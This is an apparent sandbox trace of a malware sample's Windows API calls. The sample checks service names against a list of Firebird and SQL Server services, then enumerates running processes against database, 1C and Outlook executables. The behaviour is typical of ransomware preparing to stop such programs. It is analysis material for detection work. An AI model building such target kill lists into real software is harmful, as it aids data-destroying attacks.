[0260.743] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0260.743] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0260.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0260.743] lstrlenW (lpString="Dhcp") returned 4 [0260.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0260.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0260.743] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0260.744] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0260.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0260.744] lstrlenW (lpString="Dnscache") returned 8 [0260.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0260.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0260.744] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0260.744] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0260.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0260.744] lstrlenW (lpString="DPS") returned 3 [0260.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0260.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0260.744] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0260.744] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0260.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0260.744] lstrlenW (lpString="eventlog") returned 8 [0260.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0260.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0260.744] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0260.744] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0260.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0260.744] lstrlenW (lpString="EventSystem") returned 11 [0260.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0260.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0260.744] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0260.744] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0260.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0260.744] lstrlenW (lpString="gpsvc") returned 5 [0260.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0260.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0260.745] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0260.745] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0260.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0260.745] lstrlenW (lpString="LanmanWorkstation") returned 17 [0260.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0260.745] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0260.745] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0260.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0260.745] lstrlenW (lpString="lmhosts") returned 7 [0260.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0260.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0260.745] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0260.745] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0260.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0260.745] lstrlenW (lpString="MMCSS") returned 5 [0260.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0260.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0260.745] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0260.745] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0260.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0260.745] lstrlenW (lpString="MpsSvc") returned 6 [0260.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0260.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0260.745] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0260.745] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0260.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0260.745] lstrlenW (lpString="NlaSvc") returned 6 [0260.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0260.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0260.746] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0260.746] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0260.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0260.746] lstrlenW (lpString="nsi") returned 3 [0260.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0260.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0260.746] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0260.746] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0260.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0260.746] lstrlenW (lpString="PcaSvc") returned 6 [0260.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0260.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0260.746] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0260.746] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0260.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0260.746] lstrlenW (lpString="PlugPlay") returned 8 [0260.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0260.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0260.746] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0260.746] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0260.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0260.746] lstrlenW (lpString="Power") returned 5 [0260.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0260.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0260.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0260.746] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0260.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0260.746] lstrlenW (lpString="ProfSvc") returned 7 [0260.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0260.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0260.746] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0260.747] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0260.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0260.747] lstrlenW (lpString="RpcEptMapper") returned 12 [0260.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.747] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0260.747] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0260.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0260.747] lstrlenW (lpString="RpcSs") returned 5 [0260.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0260.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0260.747] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0260.747] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0260.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0260.747] lstrlenW (lpString="SamSs") returned 5 [0260.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0260.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0260.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0260.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0260.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0260.747] lstrlenW (lpString="Schedule") returned 8 [0260.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0260.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0260.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0260.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0260.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0260.748] lstrlenW (lpString="SENS") returned 4 [0260.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0260.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0260.748] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0260.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0260.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0260.748] lstrlenW (lpString="ShellHWDetection") returned 16 [0260.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.748] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0260.748] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0260.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0260.748] lstrlenW (lpString="Spooler") returned 7 [0260.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0260.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0260.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0260.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0260.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0260.748] lstrlenW (lpString="SysMain") returned 7 [0260.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0260.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0260.748] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0260.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0260.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0260.748] lstrlenW (lpString="Themes") returned 6 [0260.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0260.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0260.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0260.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0260.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0260.748] lstrlenW (lpString="TrkWks") returned 6 [0260.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0260.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0260.749] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0260.749] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0260.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0260.749] lstrlenW (lpString="UxSms") returned 5 [0260.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0260.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0260.749] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0260.749] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0260.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0260.749] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x454b168 | out: hHeap=0x540000) returned 1 [0260.749] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b4 [0260.750] Process32FirstW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.751] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.751] lstrlenW (lpString="System") returned 6 [0260.751] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0260.751] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0260.751] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0260.751] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0260.751] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0260.751] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0260.751] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0260.751] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.751] lstrlenW (lpString="smss.exe") returned 8 [0260.751] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0260.751] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0260.752] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0260.752] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0260.752] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0260.752] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0260.752] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0260.752] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.752] lstrlenW (lpString="csrss.exe") returned 9 [0260.752] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0260.752] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0260.752] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0260.752] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0260.752] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0260.752] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0260.752] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0260.752] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.752] lstrlenW (lpString="wininit.exe") returned 11 [0260.752] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0260.752] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0260.752] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0260.752] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0260.752] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0260.753] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0260.753] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0260.753] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.753] lstrlenW (lpString="csrss.exe") returned 9 [0260.753] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0260.753] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0260.753] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0260.753] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0260.753] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0260.753] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0260.753] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0260.753] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.753] lstrlenW (lpString="winlogon.exe") returned 12 [0260.753] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0260.754] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0260.754] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0260.754] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0260.754] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0260.754] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0260.754] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0260.754] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.754] lstrlenW (lpString="services.exe") returned 12 [0260.754] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0260.754] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0260.754] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0260.754] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0260.754] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0260.754] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0260.754] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0260.754] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.755] lstrlenW (lpString="lsass.exe") returned 9 [0260.755] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0260.755] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0260.755] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0260.755] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0260.755] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0260.755] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0260.755] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0260.755] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0260.755] lstrlenW (lpString="lsm.exe") returned 7 [0260.755] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0260.755] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0260.755] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0260.755] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0260.755] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0260.755] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0260.755] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0260.755] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.756] lstrlenW (lpString="svchost.exe") returned 11 [0260.756] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0260.756] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.756] lstrlenW (lpString="svchost.exe") returned 11 [0260.756] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0260.756] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0260.756] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.757] lstrlenW (lpString="svchost.exe") returned 11 [0260.757] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0260.757] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0260.757] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0260.757] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0260.757] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0260.757] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0260.757] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0260.757] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.757] lstrlenW (lpString="svchost.exe") returned 11 [0260.757] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.757] lstrlenW (lpString="svchost.exe") returned 11 [0260.757] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.758] lstrlenW (lpString="audiodg.exe") returned 11 [0260.758] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.758] lstrlenW (lpString="svchost.exe") returned 11 [0260.758] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.758] lstrlenW (lpString="svchost.exe") returned 11 [0260.758] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0260.758] 